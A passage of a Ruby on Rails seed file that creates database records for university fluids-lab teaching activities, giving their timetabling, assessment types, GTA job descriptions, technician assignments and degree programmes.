a124.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a124.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a124.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a125 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"406\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: false, in_drive: true, user_id: 2)\n at125 = ActivityTimetable.where(activity_id: a125.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a125.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yda4d9oa\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a125.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a125.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a125.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a125.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a126 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"407\").first_or_create!(name: \"Floating Stability\",\n name_abrv: \"FLOATSTAB\", archived: false, in_drive: true, user_id: 3)\n at126 = ActivityTimetable.where(activity_id: a126.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Last year this was run as 3 hours with Forces on Submerged surface. Next run do as a separate event, each at 1.5 hours.\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a126.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7aue72l\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a126.id).first_or_create!(criteria: \"Understanding of metacenter from a civil engineering perspective.\",\n job_desc:\"The variables that dictate the metacentre of a floating pontoon are determined.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a126.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a126.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a126.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a127 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"408\").first_or_create!(name: \"Flow Measurement\",\n name_abrv: \"FLOWMEAS\", archived: false, in_drive: true, user_id: 5)\n at127 = ActivityTimetable.where(activity_id: a127.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a127.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yab4zwks\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a127.id).first_or_create!(criteria: \"Understanding of uncertantity and error calculation would be useful.\",\n job_desc:\"A variety of flow measurement devices (ventrui meter, orifice plate, rotameter…etc) are compared for their ability to work as accurate instrumentation in fluid flow systems.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a127.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a127.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a127.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a128 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: false, user_id: 1)\n at128 = ActivityTimetable.where(activity_id: a128.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a128.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yd9boque\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a128.id).first_or_create!(criteria: \"A comparison of different flow measurement techniques using hydrodynamic theory\",\n job_desc:\"Students do a quick lab to determine the relationship between flow rate and loss coefficient for gate or angle seat valves. This is done by altering the opening of the valve, and measuring the flow rate and pressure drop.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a128.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a128.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a128.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a129 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: true, user_id: 2)\n at129 = ActivityTimetable.where(activity_id: a129.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Find a time when the students are in for another lab, as it is a long way to come for just an hour\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a129.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a129.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a129.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a129.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a129.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a130 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: true, user_id: 3)\n at130 = ActivityTimetable.where(activity_id: a130.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a130.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hdn3gkn\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a130.id).first_or_create!(criteria: \"Understanding of uncertantity and error calculation would be useful.\",\n job_desc:\"A variety of flow measurement devices (ventrui meter, orifice plate, rotameter…etc) are compared for their ability to work as accurate instrumentation in fluid flow systems.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a130.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a130.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a130.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a131 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 2)\n at131 = ActivityTimetable.where(activity_id: a131.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Anywhere with a water supply\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a131.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a131.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a131.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a131.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a131.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a132 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 5)\n at132 = ActivityTimetable.where(activity_id: a132.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Last year this was run as 3 hours with Floating stabiltity. Next run do as a separate event, each at 1.5 hours.\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a132.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y75qz6ys\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a132.id).first_or_create!(criteria: \"Understanding of hydrostatics and forces on submerged surfaces. Understanding of bending moments.\",\n job_desc:\"Students use a ¼ torroid to determine the pressure and hence force acting on a submerged surface.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a132.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a132.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a132.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a133 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: true, in_drive: true, user_id: 3)\n at133 = ActivityTimetable.where(activity_id: a133.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a133.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybr6ggo7\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a133.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a133.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a133.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a133.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a134 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 3)\n at134 = ActivityTimetable.where(activity_id: a134.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a134.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya6qpnzf\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a134.id).first_or_create!(criteria: \"Understanding of hydrostatics and forces on submerged surfaces. Understanding of bending moments.\",\n job_desc:\"Students use a ¼ torroid to determine the pressure and hence force acting on a submerged surface.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a134.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a134.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a134.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a135 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: false, user_id: 5)\n at135 = ActivityTimetable.where(activity_id: a135.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a135.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y6xyg4dt\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a135.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a135.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a135.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a135.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a136 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: true, user_id: 4)\n at136 = ActivityTimetable.where(activity_id: a136.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a136.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j43azdg\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a136.id).first_or_create!(criteria: \"Basic understanding of hydrostatics principles\",\n job_desc:\"A range of quick experiments to test hydrostatic principles. These are Pascal’s vase, Hare’s tube, calibration of a pressure gauge and using hydrometers.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a136.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a136.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a136.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a137 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: false, user_id: 4)\n at137 = ActivityTimetable.where(activity_id: a137.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a137.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y6c5bbz6\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a137.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a137.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a137.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a137.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a138 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: true, user_id: 5)\n at138 = ActivityTimetable.where(activity_id: a138.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 1, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a138.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j43azdg\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a138.id).first_or_create!(criteria: \"Basic understanding of hydrostatics principles\",\n job_desc:\"A range of quick experiments to test hydrostatic principles. These are Pascal’s vase, Hare’s tube, calibration of a pressure gauge and using hydrometers.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a138.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a138.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a138.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a139 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 1)\n at139 = ActivityTimetable.where(activity_id: a139.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a139.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yabu3gps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a139.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a139.id).first_or_create!(assess_weight: nil, notes: \"One of the lab activites will be used as part of the CIV104 exam\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a139.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a139.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a140 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 5)\n at140 = ActivityTimetable.where(activity_id: a140.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a140.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7pzg2ut\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a140.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a140.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a140.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a140.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a141 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: true, in_drive: true, user_id: 4)\n at141 = ActivityTimetable.where(activity_id: a141.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a141.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9qwwhzl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a141.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a141.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a141.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a141.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a142 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 2)\n at142 = ActivityTimetable.where(activity_id: a142.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a142.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7wjrgm4\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a142.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a142.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a142.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a142.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a143 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"419\").first_or_create!(name: \"Major and Minor Losses\",\n name_abrv: \"MAJORMINOR\", archived: false, in_drive: true, user_id: 2)\n at143 = ActivityTimetable.where(activity_id: a143.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a143.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a143.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a143.id).first_or_create!(assess_weight: 